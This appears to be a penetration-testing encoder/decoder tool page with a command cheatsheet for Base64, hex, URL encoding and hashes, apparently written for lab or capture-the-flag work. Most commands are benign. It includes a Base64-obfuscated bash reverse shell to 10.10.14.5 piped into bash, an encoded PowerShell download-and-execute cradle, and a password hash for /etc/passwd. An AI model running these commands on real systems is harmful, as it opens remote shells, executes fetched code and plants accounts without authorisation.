Encoder and decoder

Type in the input and pick an operation. "Use output as input" lets you chain several (for example, URL → Base64). Everything runs in your browser.

Output

Hashes of the input

MD5
SHA-1
SHA-256
SHA-512
NTLM
Your values Saved in this browser and applied to every cheatsheet.

Base64

Encode without line breaks 
echo -n 'texto' | base64 -w0
Decode 
echo 'dGV4dG8=' | base64 -d
Run an encoded command (avoids forbidden characters) 
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
Encoded PowerShell (UTF-16LE) Attacker 
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0

Hex and URL

To hex 
echo -n 'texto' | xxd -p
From hex 
echo '746578746f' | xxd -r -p
URL-encode with Python 
python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=""))' 'a b&c'

Hashes

MD5 / SHA-256 
echo -n 'texto' | md5sum; echo -n 'texto' | sha256sum
Password hash for /etc/passwd 
openssl passwd -6 'pwned123'
NTLM 
python3 -c 'import hashlib,sys; print(hashlib.new("md4", sys.argv[1].encode("utf-16le")).hexdigest())' 'Password123!'

In OpenSSL 3 MD4 lives in the legacy provider; if it fails, use pycryptodome or this encoder.